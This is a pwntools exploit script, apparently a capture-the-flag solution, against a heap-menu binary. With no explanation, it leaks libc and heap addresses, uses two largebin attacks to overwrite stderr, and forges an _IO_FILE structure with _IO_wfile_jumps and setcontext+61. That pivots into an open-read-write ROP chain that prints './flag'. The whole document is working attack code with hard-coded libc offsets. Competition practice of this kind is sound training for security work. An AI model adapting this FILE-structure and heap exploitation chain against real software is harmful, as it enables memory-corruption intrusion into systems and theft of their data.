1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149
|
from pwn import*
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'new-window']) def debug(cmd=''): cmd += "b main\n" gdb.attach(p, cmd) pause()
host = "" port = 0 p = process("./pwn")
libc = ELF("./libc.so.6")
login = "LOGIN | r00t QWB QWXFadmin" cat = "CAT | r00t QWB QWXF$\xff"
def add(index, size, content): p.sendafter("mew~~~~~~\n", cat) p.sendlineafter("cat\n", "1") p.sendlineafter("idx:\n",str(index).encode()) p.sendlineafter("size:\n",str(size).encode()) p.sendafter("content:\n",content) def delete(index): p.sendafter("mew~~~~~~\n", cat) p.sendlineafter("cat\n", "2") p.sendlineafter("idx:\n",str(index).encode()) def show(index): p.sendafter("mew~~~~~~\n", cat) p.sendlineafter("cat\n", "3") p.sendlineafter("idx:\n",str(index).encode()) def edit(index, content): p.sendafter("mew~~~~~~\n", cat) p.sendlineafter("cat\n", "4") p.sendlineafter("idx:\n",str(index).encode()) p.sendafter("content:\n",content)
p.send(login) add(0, 0x420, cyclic(0x420)) add(1, 0x440, cyclic(0x440)) delete(0) add(2, 0x450, cyclic(0x450)) show(0)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x21a0d0 stderr_addr = libc_base + 0x21a860 setcontext61 = libc_base + 0x53a6d p.recvuntil("\x7f\x00\x00") heap_base = u64(p.recvn(6).ljust(8,b"\x00"))-0x290 log.success("libc_base = {}".format(hex(libc_base))) log.success("heap0_base = {}".format(hex(heap_base))) log.success("stderr_addr = {}".format(hex(stderr_addr)))
ret = 0x0000000000029cd6+libc_base pop_rdi = 0x000000000002a3e5+libc_base pop_rsi = 0x000000000002be51+libc_base pop_rax = 0x0000000000045eb0 + libc_base syscall = 0x0000000000091396 + libc_base
fake_stderr = heap_base + 0xf70 fake_rdx = fake_stderr + 0x10 + 0x200 fake_stack = fake_stderr + 0x10 + 0x320 io = p64(0)*6 io += p64(1) + p64(2) io += p64(fake_rdx) io += p64(setcontext61) io = io.ljust(0x78, '\x00') io += p64(libc_base+0x21ba60) io = io.ljust(0x90, '\x00') io += p64(fake_stderr+0x30) io = io.ljust(0xb0, '\x00') io += p64(1) io = io.ljust(0xc8, '\x00') io += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10) io += p64(0)*6 io += p64(fake_stderr+0x40) io = io.ljust(0x200, '\x00')
payload = "./flag\x00\x00" payload = payload.ljust(0x68,"\x00") payload += p64(0) payload += p64(0) payload = payload.ljust(0x88,"\x00") payload += p64(0x100) payload = payload.ljust(0xa0) payload += p64(fake_stack) payload += p64(ret) io += payload io = io.ljust(0x320,"\x00")
payload = p64(libc_base+libc.sym['close']) payload += p64(ret) payload += p64(pop_rdi) payload += p64(fake_rdx) payload += p64(pop_rax) payload += p64(2) payload += p64(syscall) payload += p64(pop_rax) payload += p64(0) payload += p64(pop_rdi) payload += p64(0) payload += p64(pop_rsi) payload += p64(heap_base + 0x100) payload += p64(syscall) payload += p64(pop_rax) payload += p64(1) payload += p64(pop_rdi) payload += p64(1) payload += p64(pop_rsi) payload += p64(heap_base + 0x100) payload += p64(syscall) io+=payload
io = io.ljust(0x430,'\x00')
add(4,0x440,io) add(5,0x440,cyclic(0x440)) add(6,0x430,cyclic(0x430))
delete(4) add(9,0x460,cyclic(0x440)) delete(6)
payload = p64(libc_base+0x21a0e0)*2 + p64(heap_base+0xf90) + p64(stderr_addr-0x20) + p64(0)*2 edit(4, payload) add(10,0x460,cyclic(0x460))
add(11, 0x430, cyclic(0x430))
delete(11)
payload = p64(libc_base+0x21a0e0)*2 + p64(heap_base+0xf90) + p64(heap_base+0x2538-5-0x20) + p64(0)*2 edit(4, payload) add(15,0x41f,cyclic(0x41f))
add(7, 0x460,cyclic(0x460))
p.interactive()
|